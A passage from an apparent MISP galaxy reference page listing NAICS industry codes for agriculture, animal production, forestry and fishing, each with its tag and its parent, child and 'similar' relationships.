- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111160" with estimative-language:likelihood-probability="likely"

111160

Rice Farming

The tag is: *misp-galaxy:naics="111160"*

View relationships graph

111160 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11116" with estimative-language:likelihood-probability="likely"

11119

Other Grain Farming

The tag is: *misp-galaxy:naics="11119"*

View relationships graph

11119 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"

111191

Oilseed and Grain Combination Farming

The tag is: *misp-galaxy:naics="111191"*

View relationships graph

111191 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"

111199

All Other Grain Farming

The tag is: *misp-galaxy:naics="111199"*

View relationships graph

111199 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"

1112

Vegetable and Melon Farming

The tag is: *misp-galaxy:naics="1112"*

View relationships graph

1112 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111219" with estimative-language:likelihood-probability="likely"

11121

Vegetable and Melon Farming

The tag is: *misp-galaxy:naics="11121"*

View relationships graph

11121 has relationships with:

- child-of: misp-galaxy:naics="1112" with estimative-language:likelihood-probability="likely"

111211

Potato Farming

The tag is: *misp-galaxy:naics="111211"*

View relationships graph

111211 has relationships with:

- child-of: misp-galaxy:naics="1112" with estimative-language:likelihood-probability="likely"

111219

Other Vegetable (except Potato) and Melon Farming

The tag is: *misp-galaxy:naics="111219"*

View relationships graph

111219 has relationships with:

- child-of: misp-galaxy:naics="1112" with estimative-language:likelihood-probability="likely"

1113

Fruit and Tree Nut Farming

The tag is: *misp-galaxy:naics="1113"*

View relationships graph

1113 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111333" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111335" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111339" with estimative-language:likelihood-probability="likely"

11131

Orange Groves

The tag is: *misp-galaxy:naics="11131"*

View relationships graph

11131 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111310" with estimative-language:likelihood-probability="likely"

111310

Orange Groves

The tag is: *misp-galaxy:naics="111310"*

View relationships graph

111310 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11131" with estimative-language:likelihood-probability="likely"

11132

Citrus (except Orange) Groves

The tag is: *misp-galaxy:naics="11132"*

View relationships graph

11132 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111320" with estimative-language:likelihood-probability="likely"

111320

Citrus (except Orange) Groves

The tag is: *misp-galaxy:naics="111320"*

View relationships graph

111320 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11132" with estimative-language:likelihood-probability="likely"

11133

Noncitrus Fruit and Tree Nut Farming

The tag is: *misp-galaxy:naics="11133"*

View relationships graph

11133 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111331

Apple Orchards

The tag is: *misp-galaxy:naics="111331"*

View relationships graph

111331 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111332

Grape Vineyards

The tag is: *misp-galaxy:naics="111332"*

View relationships graph

111332 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111333

Strawberry Farming

The tag is: *misp-galaxy:naics="111333"*

View relationships graph

111333 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111334

Berry (except Strawberry) Farming

The tag is: *misp-galaxy:naics="111334"*

View relationships graph

111334 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111335

Tree Nut Farming

The tag is: *misp-galaxy:naics="111335"*

View relationships graph

111335 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111336

Fruit and Tree Nut Combination Farming

The tag is: *misp-galaxy:naics="111336"*

View relationships graph

111336 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111339

Other Noncitrus Fruit Farming

The tag is: *misp-galaxy:naics="111339"*

View relationships graph

111339 has relationships with:

- child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

1114

Greenhouse, Nursery, and Floriculture Production

The tag is: *misp-galaxy:naics="1114"*

View relationships graph

1114 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111419" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111422" with estimative-language:likelihood-probability="likely"

11141

Food Crops Grown Under Cover

The tag is: *misp-galaxy:naics="11141"*

View relationships graph

11141 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

111411

Mushroom Production

The tag is: *misp-galaxy:naics="111411"*

View relationships graph

111411 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

111419

Other Food Crops Grown Under Cover

The tag is: *misp-galaxy:naics="111419"*

View relationships graph

111419 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

11142

Nursery and Floriculture Production

The tag is: *misp-galaxy:naics="11142"*

View relationships graph

11142 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

111421

Nursery and Tree Production

The tag is: *misp-galaxy:naics="111421"*

View relationships graph

111421 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

111422

Floriculture Production

The tag is: *misp-galaxy:naics="111422"*

View relationships graph

111422 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

1119

Other Crop Farming

The tag is: *misp-galaxy:naics="1119"*

View relationships graph

1119 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11193" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11194" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111940" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11199" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111992" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111998" with estimative-language:likelihood-probability="likely"

11191

Tobacco Farming

The tag is: *misp-galaxy:naics="11191"*

View relationships graph

11191 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111910" with estimative-language:likelihood-probability="likely"

111910

Tobacco Farming

The tag is: *misp-galaxy:naics="111910"*

View relationships graph

111910 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11191" with estimative-language:likelihood-probability="likely"

11192

Cotton Farming

The tag is: *misp-galaxy:naics="11192"*

View relationships graph

11192 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111920" with estimative-language:likelihood-probability="likely"

111920

Cotton Farming

The tag is: *misp-galaxy:naics="111920"*

View relationships graph

111920 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11192" with estimative-language:likelihood-probability="likely"

11193

Sugarcane Farming

The tag is: *misp-galaxy:naics="11193"*

View relationships graph

11193 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111930" with estimative-language:likelihood-probability="likely"

111930

Sugarcane Farming

The tag is: *misp-galaxy:naics="111930"*

View relationships graph

111930 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11193" with estimative-language:likelihood-probability="likely"

11194

Hay Farming

The tag is: *misp-galaxy:naics="11194"*

View relationships graph

11194 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111940" with estimative-language:likelihood-probability="likely"

111940

Hay Farming

The tag is: *misp-galaxy:naics="111940"*

View relationships graph

111940 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11194" with estimative-language:likelihood-probability="likely"

11199

All Other Crop Farming

The tag is: *misp-galaxy:naics="11199"*

View relationships graph

11199 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

111991

Sugar Beet Farming

The tag is: *misp-galaxy:naics="111991"*

View relationships graph

111991 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

111992

Peanut Farming

The tag is: *misp-galaxy:naics="111992"*

View relationships graph

111992 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

111998

All Other Miscellaneous Crop Farming

The tag is: *misp-galaxy:naics="111998"*

View relationships graph

111998 has relationships with:

- child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

112

Animal Production and Aquaculture

The tag is: *misp-galaxy:naics="112"*

View relationships graph

112 has relationships with:

- child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1124" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"

1121

Cattle Ranching and Farming

The tag is: *misp-galaxy:naics="1121"*

View relationships graph

1121 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112130" with estimative-language:likelihood-probability="likely"

11211

Beef Cattle Ranching and Farming, including Feedlots

The tag is: *misp-galaxy:naics="11211"*

View relationships graph

11211 has relationships with:

- child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"

112111

Beef Cattle Ranching and Farming

The tag is: *misp-galaxy:naics="112111"*

View relationships graph

112111 has relationships with:

- child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"

112112

Cattle Feedlots

The tag is: *misp-galaxy:naics="112112"*

View relationships graph

112112 has relationships with:

- child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"

11212

Dairy Cattle and Milk Production

The tag is: *misp-galaxy:naics="11212"*

View relationships graph

11212 has relationships with:

- child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112120" with estimative-language:likelihood-probability="likely"

112120

Dairy Cattle and Milk Production

The tag is: *misp-galaxy:naics="112120"*

View relationships graph

112120 has relationships with:

- child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11212" with estimative-language:likelihood-probability="likely"

11213

Dual-Purpose Cattle Ranching and Farming

The tag is: *misp-galaxy:naics="11213"*

View relationships graph

11213 has relationships with:

- child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112130" with estimative-language:likelihood-probability="likely"

112130

Dual-Purpose Cattle Ranching and Farming

The tag is: *misp-galaxy:naics="112130"*

View relationships graph

112130 has relationships with:

- child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11213" with estimative-language:likelihood-probability="likely"

1122

Hog and Pig Farming

The tag is: *misp-galaxy:naics="1122"*

View relationships graph

1122 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112210" with estimative-language:likelihood-probability="likely"

11221

Hog and Pig Farming

The tag is: *misp-galaxy:naics="11221"*

View relationships graph

11221 has relationships with:

- child-of: misp-galaxy:naics="1122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112210" with estimative-language:likelihood-probability="likely"

112210

Hog and Pig Farming

The tag is: *misp-galaxy:naics="112210"*

View relationships graph

112210 has relationships with:

- child-of: misp-galaxy:naics="1122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11221" with estimative-language:likelihood-probability="likely"

1123

Poultry and Egg Production

The tag is: *misp-galaxy:naics="1123"*

View relationships graph

1123 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11234" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11239" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112390" with estimative-language:likelihood-probability="likely"

11231

Chicken Egg Production

The tag is: *misp-galaxy:naics="11231"*

View relationships graph

11231 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112310" with estimative-language:likelihood-probability="likely"

112310

Chicken Egg Production

The tag is: *misp-galaxy:naics="112310"*

View relationships graph

112310 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11231" with estimative-language:likelihood-probability="likely"

11232

Broilers and Other Meat Type Chicken Production

The tag is: *misp-galaxy:naics="11232"*

View relationships graph

11232 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112320" with estimative-language:likelihood-probability="likely"

112320

Broilers and Other Meat Type Chicken Production

The tag is: *misp-galaxy:naics="112320"*

View relationships graph

112320 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11232" with estimative-language:likelihood-probability="likely"

11233

Turkey Production

The tag is: *misp-galaxy:naics="11233"*

View relationships graph

11233 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112330" with estimative-language:likelihood-probability="likely"

112330

Turkey Production

The tag is: *misp-galaxy:naics="112330"*

View relationships graph

112330 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11233" with estimative-language:likelihood-probability="likely"

11234

Poultry Hatcheries

The tag is: *misp-galaxy:naics="11234"*

View relationships graph

11234 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112340" with estimative-language:likelihood-probability="likely"

112340

Poultry Hatcheries

The tag is: *misp-galaxy:naics="112340"*

View relationships graph

112340 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11234" with estimative-language:likelihood-probability="likely"

11239

Other Poultry Production

The tag is: *misp-galaxy:naics="11239"*

View relationships graph

11239 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112390" with estimative-language:likelihood-probability="likely"

112390

Other Poultry Production

The tag is: *misp-galaxy:naics="112390"*

View relationships graph

112390 has relationships with:

- child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11239" with estimative-language:likelihood-probability="likely"

1124

Sheep and Goat Farming

The tag is: *misp-galaxy:naics="1124"*

View relationships graph

1124 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11242" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="112420" with estimative-language:likelihood-probability="likely"

11241

Sheep Farming

The tag is: *misp-galaxy:naics="11241"*

View relationships graph

11241 has relationships with:

- child-of: misp-galaxy:naics="1124" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112410" with estimative-language:likelihood-probability="likely"

112410

Sheep Farming

The tag is: *misp-galaxy:naics="112410"*

View relationships graph

112410 has relationships with:

- child-of: misp-galaxy:naics="1124" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11241" with estimative-language:likelihood-probability="likely"

11242

Goat Farming

The tag is: *misp-galaxy:naics="11242"*

View relationships graph

11242 has relationships with:

- child-of: misp-galaxy:naics="1124" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112420" with estimative-language:likelihood-probability="likely"

112420

Goat Farming

The tag is: *misp-galaxy:naics="112420"*

View relationships graph

112420 has relationships with:

- child-of: misp-galaxy:naics="1124" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11242" with estimative-language:likelihood-probability="likely"

1125

Aquaculture

The tag is: *misp-galaxy:naics="1125"*

View relationships graph

1125 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112519" with estimative-language:likelihood-probability="likely"

11251

Aquaculture

The tag is: *misp-galaxy:naics="11251"*

View relationships graph

11251 has relationships with:

- child-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"

112511

Finfish Farming and Fish Hatcheries

The tag is: *misp-galaxy:naics="112511"*

View relationships graph

112511 has relationships with:

- child-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"

112512

Shellfish Farming

The tag is: *misp-galaxy:naics="112512"*

View relationships graph

112512 has relationships with:

- child-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"

112519

Other Aquaculture

The tag is: *misp-galaxy:naics="112519"*

View relationships graph

112519 has relationships with:

- child-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"

1129

Other Animal Production

The tag is: *misp-galaxy:naics="1129"*

View relationships graph

1129 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11293" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11299" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112990" with estimative-language:likelihood-probability="likely"

11291

Apiculture

The tag is: *misp-galaxy:naics="11291"*

View relationships graph

11291 has relationships with:

- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112910" with estimative-language:likelihood-probability="likely"

112910

Apiculture

The tag is: *misp-galaxy:naics="112910"*

View relationships graph

112910 has relationships with:

- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11291" with estimative-language:likelihood-probability="likely"

11292

Horses and Other Equine Production

The tag is: *misp-galaxy:naics="11292"*

View relationships graph

11292 has relationships with:

- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112920" with estimative-language:likelihood-probability="likely"

112920

Horses and Other Equine Production

The tag is: *misp-galaxy:naics="112920"*

View relationships graph

112920 has relationships with:

- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11292" with estimative-language:likelihood-probability="likely"

11293

Fur-Bearing Animal and Rabbit Production

The tag is: *misp-galaxy:naics="11293"*

View relationships graph

11293 has relationships with:

- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112930" with estimative-language:likelihood-probability="likely"

112930

Fur-Bearing Animal and Rabbit Production

The tag is: *misp-galaxy:naics="112930"*

View relationships graph

112930 has relationships with:

- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11293" with estimative-language:likelihood-probability="likely"

11299

All Other Animal Production

The tag is: *misp-galaxy:naics="11299"*

View relationships graph

11299 has relationships with:

- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112990" with estimative-language:likelihood-probability="likely"

112990

All Other Animal Production

The tag is: *misp-galaxy:naics="112990"*

View relationships graph

112990 has relationships with:

- child-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11299" with estimative-language:likelihood-probability="likely"

113

Forestry and Logging

The tag is: *misp-galaxy:naics="113"*

View relationships graph

113 has relationships with:

- child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1133" with estimative-language:likelihood-probability="likely"

1131

Timber Tract Operations

The tag is: *misp-galaxy:naics="1131"*

View relationships graph

1131 has relationships with:

- child-of: misp-galaxy:naics="113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="113110" with estimative-language:likelihood-probability="likely"

11311

Timber Tract Operations

The tag is: *misp-galaxy:naics="11311"*

View relationships graph

11311 has relationships with:

- child-of: misp-galaxy:naics="1131" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="113110" with estimative-language:likelihood-probability="likely"

113110

Timber Tract Operations

The tag is: *misp-galaxy:naics="113110"*

View relationships graph

113110 has relationships with:

- child-of: misp-galaxy:naics="1131" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11311" with estimative-language:likelihood-probability="likely"

1132

Forest Nurseries and Gathering of Forest Products

The tag is: *misp-galaxy:naics="1132"*

View relationships graph

1132 has relationships with:

- child-of: misp-galaxy:naics="113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="113210" with estimative-language:likelihood-probability="likely"

11321

Forest Nurseries and Gathering of Forest Products

The tag is: *misp-galaxy:naics="11321"*

View relationships graph

11321 has relationships with:

- child-of: misp-galaxy:naics="1132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="113210" with estimative-language:likelihood-probability="likely"

113210

Forest Nurseries and Gathering of Forest Products

The tag is: *misp-galaxy:naics="113210"*

View relationships graph

113210 has relationships with:

- child-of: misp-galaxy:naics="1132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11321" with estimative-language:likelihood-probability="likely"

1133

Logging

The tag is: *misp-galaxy:naics="1133"*

View relationships graph

1133 has relationships with:

- child-of: misp-galaxy:naics="113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="113310" with estimative-language:likelihood-probability="likely"

11331

Logging

The tag is: *misp-galaxy:naics="11331"*

View relationships graph

11331 has relationships with:

- child-of: misp-galaxy:naics="1133" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="113310" with estimative-language:likelihood-probability="likely"

113310

Logging

The tag is: *misp-galaxy:naics="113310"*

View relationships graph

113310 has relationships with:

- child-of: misp-galaxy:naics="1133" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11331" with estimative-language:likelihood-probability="likely"

114

Fishing, Hunting and Trapping

The tag is: *misp-galaxy:naics="114"*

View relationships graph

114 has relationships with:

- child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1142" with estimative-language:likelihood-probability="likely"

1141

Fishing

The tag is: *misp-galaxy:naics="1141"*

View relationships graph

1141 has relationships with:

- child-of: misp-galaxy:naics="114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="114111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="114112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="114119" with estimative-language:likelihood-probability="likely"

11411

Fishing

The tag is: *misp-galaxy:naics="11411"*

View relationships graph

11411 has relationships with:

- child-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"

114111

Finfish Fishing

The tag is: *misp-galaxy:naics="114111"*

View relationships graph

114111 has relationships with:

- child-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"

114112

Shellfish Fishing

The tag is: *misp-galaxy:naics="114112"*

View relationships graph

114112 has relationships with:

- child-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"

114119

Other Marine Fishing

The tag is: *misp-galaxy:naics="114119"*

View relationships graph

114119 has relationships with:

- child-of: misp-galaxy:naics="1141" with estimative-language:likelihood-probability="likely"

1142

Hunting and Trapping

The tag is: *misp-galaxy:naics="1142"*

View relationships graph

1142 has relationships with:

- child-of: misp-galaxy:naics="114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="114210" with estimative-language:likelihood-probability="likely"

11421

Hunting and Trapping

The tag is: *misp-galaxy:naics="11421"*

View relationships graph

11421 has relationships with:

- child-of: misp-galaxy:naics="1142" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="114210" with estimative-language:likelihood-probability="likely"

114210

Hunting and Trapping

The tag is: *misp-galaxy:naics="114210"*

View relationships graph

114210 has relationships with:

- child-of: misp-galaxy:naics="1142" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11421" with estimative-language:likelihood-probability="likely"

115

Support Activities for Agriculture and Forestry

The tag is: *misp-galaxy:naics="115"*

View relationships graph

115 has relationships with:

- child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1152" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="1153" with estimative-language:likelihood-probability="likely"

1151

Support Activities for Crop Production

The tag is: *misp-galaxy:naics="1151"*

View relationships graph

1151 has relationships with:

